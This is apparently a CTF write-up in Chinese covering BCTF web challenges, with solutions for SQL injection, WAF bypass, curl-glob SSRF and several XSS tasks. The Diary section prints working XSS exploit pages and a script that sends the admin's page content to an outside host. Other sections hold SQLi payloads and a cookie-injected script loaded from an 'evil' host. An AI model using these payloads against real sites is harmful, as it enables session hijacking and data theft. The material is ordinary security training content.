按题目质量从低到高排序。

admin only

找回密码的用户名处填入 admin ,返回 admin 的密码的 md5 。登录后注意到 Set-Cookie: identity=ee11cbb19052e40b07aac0ca060c23ee ,是 "user" 的 md5 。修改为 admin 后页面返回 "insweb17", 结合题目描述,在 GitHub 上找到该用户,下载 share 项目里的文件,观察到是个 apk ,反编译 dex 后在 hello/test/athis/myapplication/C0149h.java 里得到加密方式 AES/ECB/PKCS5Padding 、密钥和密文,解密得到 flag。

Baby SQLi & Kitty Shop

简单的登录功能,用户名 admin'# 即可登录,可以推测 SQL 语句是

SELECT * FROM foo WHERE username='' and password='';

购买页面提示库存里有 4 个物品,而 manual 里说有 a/b/c 三个物品,购买物品 d 就能获得一个 flag。

manual 的下载是向 load.php POST 文件名实现的,测试发现 manual./manual 返回的内容相同,猜测可以读取任意文件,读到 ../.viminfo ,得到 ~/app/encrypt0p@ssword/password

最后在 ../../../../backup/client.zip 得到一个压缩包,交给二进制选手得到 flag。这里必须吐槽这个 viminfo ,强行出题是什么味儿?恶臭。

signature

扫一扫目录发现有个 /user_guide/,确定是 CI 框架后,根据目录结构在 /application/controllers/ 下发现 blog_backup_2014.php,结合提示 "take care of the keys" 在 Github 上搜索这个文件名可以找到 https://github.com/xiaobaozidi/bbbccctttffff。由于 session 根据 key 生成,所以可以本地搭起来,构造出登录 admin 后的 session 。

登录后通过盲注获得数据:

sourcekey 表

Bankname MD5_key
CBC 02359dc1a4d2612aac83872031d970b9
CMB 6c35ebc95955c672ead533295587fe07
CSB abb0a201345974f3dbf641ea2f8686cb
HSBC 073a6ab30b859e326719e18a35de17b4

payment 表

UserID BillNo Bankname ServiceType
C33506 45156890612662948 HSBC CARD_PAY

payment 表唯独缺 index.php/payment 表单的最后一项 signature ,在源码中找到计算 signature 的函数

function tosignature($userid, $bankname, $billno, $servicetype, $md5_key){
    $arr = array($userid, $bankname, $billno, $servicetype, $md5_key);
    return md5(join('&', $arr));
}

这里需要计算 md5 ,所以盲注时要用 like binary 获得大小写正确的数据。

Alice and Bob

题目摆明是个 SQL 注入,在 Alice 后加一个单引号可以看到错误信息。Alice'#Alice 的结果相同,推测 SQL 语句是

SELECT * FROM foo WHERE name='';

尝试 0' union select '# 发现有 WAF ,而 0 union select '# 却没有被 WAF 拦截,说明这并不是传统的正则 WAF 。尝试多种姿势后感觉这个 WAF 似乎很聪明呢,只拦截具有攻击性的 Payload 。试着多句执行,发送 Alice'; 居然返回 HTTP 500 ,而 Alice';# 返回正常的结果,怕是可以多句执行。

于是用 Alice';show tables;#Alice';show 123;# 进行验证,前者正常返回,后者 500 。确定了,可以多句执行,错误时会返回 500。用我们的 2*1e308 报错大法盲注即可:

Diary

火日师傅出的 Diary 和 Paint 这两题我给满分。一看到在另一个域名进行身份认证,我就猜到八成是 Turning Self-XSS into Good-XSS 的复现了。

Diary 处可以利用 HTML 实体编码绕过 filter 构造出 Self-XSS ;Bug Report 仅能提交当前域的链接,利用 phithon 师傅的 CVE-2017-7234 可以实现任意地址跳转。

构造恶意页面,先让 admin 在 diary 域下注销,同时利用 CSP 拦截注销 auth 域登录状态的请求,从而保留 auth 域的登录状态。然后用构造好 Self-XSS 的帐号的 auth code 登录 diary 域,触发 Self-XSS ,此时我们已经可以在 diary 域下执行任意 JS 代码了。创建一个 iframe ,用相同的方法注销 diary 域的登录状态,利用 auth 域的登录信息重新以 admin 的身份登录 diary 域,向 Survey POST 后传回即可获得 flag 。详细的解释请参考原文,整个攻击流程非常优雅,可以说令人拍案叫绝了。

贴上我的 Payload 和代码们:

http://diary.bctf.xctf.org.cn/static/%5c%5cx.cal1.cn/_fire/1.html

1.html 负责注销 diary 域,登录恶意帐号,跳转到 diary 页面触发 Self-XSS

<meta http-equiv="Content-Security-Policy" content="img-src http://diary.bctf.xctf.org.cn">
<script src="http://diary.bctf.xctf.org.cn/static/js/jquery.min.js"></script>
<img src="http://diary.bctf.xctf.org.cn/accounts/logout" onerror="tologin();">
<script>
    var tologin = function(){
        document.body.innerHTML='<img src="http://diary.bctf.xctf.org.cn/accounts/login" onerror="toreceive();">'
    }
    var toreceive = function(){
        document.body.innerHTML='<img src="http://diary.bctf.xctf.org.cn/o/receive_authcode?state=preauth&code=B2pYAmGDggQWWD9UoXYSHzqDgRV300" onerror="bye();">'
    }
    var bye = function(){
        window.location='http://diary.bctf.xctf.org.cn/diary/'
    }
</script>

diary 页面有我们绕过 filter 后构造的 XSS filters("<img src=/1&#34;&#32;onerror=&#34;$.getScript('//x.cal1.cn/fire/2.js')>")

2.js 负责创建 iframe,调用 3.html,在 3.html 载入完成后向 survey 发送 POST 请求,并传回内容

var i = document.createElement('iframe');
i.setAttribute('src', 'http://x.cal1.cn/_fire/3.html');
document.body.appendChild(i);
setTimeout(function(){
    i = window.frames[0]
    i.location.href = '/survey/'
    setTimeout(function(){
        csrftoken = i.$('body > div.container > form > input[type="hidden"]')[0].value
        i.$.post('/survey/', data={rate:5, suggestion:'ok', csrfmiddlewaretoken:csrftoken}).then(function(data){$.post('//x.cal1.cn:62001', data={a:escape(data)})})
    },3000)
},3000)

3.html 负责注销 diary 域,利用 auth 域的登录状态在 diary 域重新登录 admin 的帐号

<meta http-equiv="Content-Security-Policy" content="img-src http://diary.bctf.xctf.org.cn">
<script src="http://diary.bctf.xctf.org.cn/static/js/jquery.min.js"></script>
<img src="http://diary.bctf.xctf.org.cn/accounts/logout" onerror="redir();">
<script>
    var redir = function(){
        window.location = 'http://diary.bctf.xctf.org.cn/accounts/login'
    }
</script>

Paint

upload.php 可以上传任意内容的文件,扩展名只能是图片类的。本地用户访问 flag.php 可以获得 flag 。 image.php 可以传入 url ,服务端用 curl 取回内容,经过 GD 库处理后保存成图片,目标必须是图片才能成功保存,否则只返回长度,提示 "Not Image"。

用指向 127.0.0.1 的域名可以绕过限制,也可以用 127.0.0.1/8 或者 0(0.0.0.0) 。

$ curl http://paint.bctf.xctf.org.cn/image.php -d "url=http://paint.bctf.xctf.org.cn/flag.php"
{"files":{"size":80,"error":"Not Image"}}

curl http://paint.bctf.xctf.org.cn/image.php -d "url=http://l.cal1.cn/flag.php"
{"files":{"size":374,"error":"Not Image"}}

用 intruder fuzz 一下可用字符发现有 []{} ,试了下在 URL 中使用 [1-2] ,收到了两个请求

而且 size 居然是两个返回内容合并之后的大小,做到这儿以为是命令注入,试了多种姿势并不行。重新查一下 curl 的文档,发现了非常厉害的用法:

You can specify multiple URLs or parts of URLs by writing part sets within braces as in:
  http://site.{one,two,three}.com
or you can get sequences of alphanumeric series by using [] as in:
  ftp://ftp.example.com/file[1-100].txt

也就是说我们可以让服务端 curl 多个地址,将多段内容拼接后再给 GD 库去处理。一开始我想用 http://[1-3].cal1.cn/flag.php ,将 1 与 3 指向自己的服务器,2 指向 127.0.0.1 进行拼接,然而 image.php 用正则检测域名是否合法。

所以只能换用 {} ,用 https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE 生成一个经过 GD 库压缩后仍有长度为 374 的可控区域的 gif ,以这个长度为 374 的块为界限切割成两个文件,通过 upload.php 上传即可。

simple sqli

index.php 接收 id 参数, id=floor(pi())id=3 返回的结果相同,可以猜测 SQL 语句可能是

SELECT * FROM foo WHERE id = $_GET['id']

测试可知 SQL 语句存在语法错误时返回 HTTP 500 ;SELECT FROM 之类的关键字被 WAF 拦截了。传入 id=length('select')/6 应与 id=1 相同。用 BurpSuite 在 select 中加单个字符,观察返回内容可以发现一些字符在进入 SQL 语句之前会被过滤掉(替换成空):

也就是说 sel%00ect 在通过 WAF 后、进入 SQL 语句前变成了 select,这样我们就可以注入了:

$ curl http://202.120.7.203/index.php?id=0+union+selec%00t+1,(selec%00t+flag+fro%00m+flag),3
<!DOCTYPE html>
<html lang="en">
<head>
        <meta charset="utf-8">
        <title>flag{W4f_bY_paSS_f0R_CI}</title>
</head>
<body>

    <h3>flag{W4f_bY_paSS_f0R_CI}</h3>
    <div class="main">
        3    </div>
    <p><a href="index.php?id=1">View article</a></p>

</body>
</html>

Temmo's Tiny Shop

注册登录后有购买/售出/搜索的功能。注册完帐号内有4000元,HINT 需要 8000 元才能购买,可以想到应该是通过条件竞争来加钱。然而刚开始做的时候题目有问题,一旦有人注册,所有帐号里的钱都会变多,直接买了 HINT。HINT 里写了表名和列名:

select flag from b7d8769d64997e392747dbad9cd450c4

所以接下来应该是找注入点。搜索功能除了关键字,还可以选择排序方式(order=price/name)。测试发现 price/name 是直接在 get 参数中传递的,可以推断出 order 前后并没有引号保护,SQL 语句可能是:

SELECT * FROM foo WHERE name LIKE '%$_GET['keyword']%' order by $_GET['order']

经测试发现 order 参数不能含有空格,可以用括号来替代,利用 name 和 price 排序的不同顺序来盲注:

SELECT * FROM foo WHERE name LIKE '%%' order by if(1=1,name,price)

由于 order 参数限制长度为 100 字符以内,所以用 BurpSuite 的 intruder 中将 Attack type 选为 Cluster bomb,在 mid() 的第二个参数和 like 的 asciihex 上设置变量生成 payload。

最后用 intruder 的导出结果功能,把条件为真的 payload1 与 payload2 导出即可。

KoG

观察网页源码中的这段 js:

function go() {
    args = GetUrlParms();
    if (args["id"] != undefined) {
        var value = args["id"];
        var ar = Module.main(value).split("|");
        if (ar.length == 3) {
            var s = "api.php?id=" + args["id"] + "&hash=" + ar[0] + "&time=" + ar[1];
            $(document).ready(function() {
                content = $.ajax({
                    url: s,
                    async: false
                });
                $("#output").html(content.responseText);
            });

        }
        if ((ar.length == 1) & (ar[0] == 'WrongBoy')) {
            alert('Hello Hacker~');
        }
    }
}

var wait = setInterval(function() {
    if (Module.main != undefined) {
        clearInterval(wait);
        go();
    }
}, 100);

将 url 中的 id 参数传入 Module.main() 获得 hash,带 hash 对 api.php 发起请求。api.php 对 hash 进行校验,校验通过就将 id 代入 SQL 语句进行查询并返回结果。

所以这题的关键是 Module.main(),测试发现传入的参数如果不是数字会返回 WrongBoy,否则返回对应的 hash。这个函数在 functionn.js 里,搜索特征发现是用 Emscripten 从 C/C++ 编译成的 js,两万多行看得头都大了。

头再大也要做题啊,于是就开了两个窗口,一个执行 Module.main('1'),另一个执行 Module.main('q'),F11 单步跟踪调试,发现两者在 7633 行的 $13 = ($12|0)==(199401); 结果不同,7659行的 $25 = ($i$0|0)==($26|0); 结果也不同,直接改这两个变量可以得到字符串的 hash 了。

complicated XSS

题目告诉我们 flag 在子域名 http://admin.government.vip:8000,访问该链接重定向到 /login,登录后回到 /,服务端从 cookie 中取出 username 输出在页面上。修改 username 发现并没有跟 session 对应,所以我们就有了在 admin 子域下执行 js 的能力。

先在 http://government.vip/ 提交带有 img 标签的 XSS Payload,从 Referer 可知管理员会在 http://government.vip/ 域下访问我们的 Payload。由于 Cookie 的脆弱性,我们可以在 government.vip 为子域设置 cookie,然后通过跳转来触发 XSS。

虽然我们可以在 admin 域上执行 js 了,但是由于 http://admin.government.vip:8000/ 禁用了很多函数,只能用跳转的方法传出已有的数据,没法用 XHR 发出 POST/GET 请求,由于这题的 BOT 用的是 PhantomJS (从 UA 知道的),所以 fetch() 也是不能用的。

delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;

然而同源的 /login 并没有禁用 XHR,所以可以通过 iframe 来“借用” /login 的 XHR。

Payload:

document.cookie = "username=</h1><script src='//evil/1.js'></script>;path=/;domain=.government.vip"
window.location.href = "//evil/2.html"

2.html 包含 /login/ 两个iframe,1.js 中用 this.XMLHttpRequest = top.frames[0].XMLHttpRequest 来获得 XHR。读取当前页面源码发现有个上传表单,XHR POST 上传后即可获得 flag 。

simple XSS

题目让我们提交 XSS Payload,绕过过滤拿到 /flag.php 的内容。用 intruder 提交 %00~%ff 可以知道这些字符是不能用的:

!"#$%&'(),./:;>?@[]`{}

$、反引号和括号已经把 inline js 一棒子打死了(可以说是孙悟空了),注意到左尖括号并没有被拦截,所以这里一定是插入一个不需要闭合的标签来执行 js 了。

第一反应想到的就是 <link rel=import href=url,问了下出题人 @md5_salt 说 BOT 不是 PhantomJS,是真的 Chrome Stable。然而加载外域资源得用到 /,尝试了下 \\octip 并不行,其实这里踩了 Windows UNC Path 的坑,其他系统中 Chrome 会将 \\ 解释成当前协议。然而当前协议是 HTTPS,SSL 证书与域名绑定,这儿又不能用 .,无法传入域名,如果直接传入 \\octip,Chrome 会认为 https://ip 该请求不安全而拦截。由于之前出题也用过 PhantomJS,发现并不支持 Chrome 的一些特性,重新整理思路,思考了下两者的差异,发现可以用中文的句号 来替代 .,于是最终的 Payload:

<link rel=import href=\\your。domain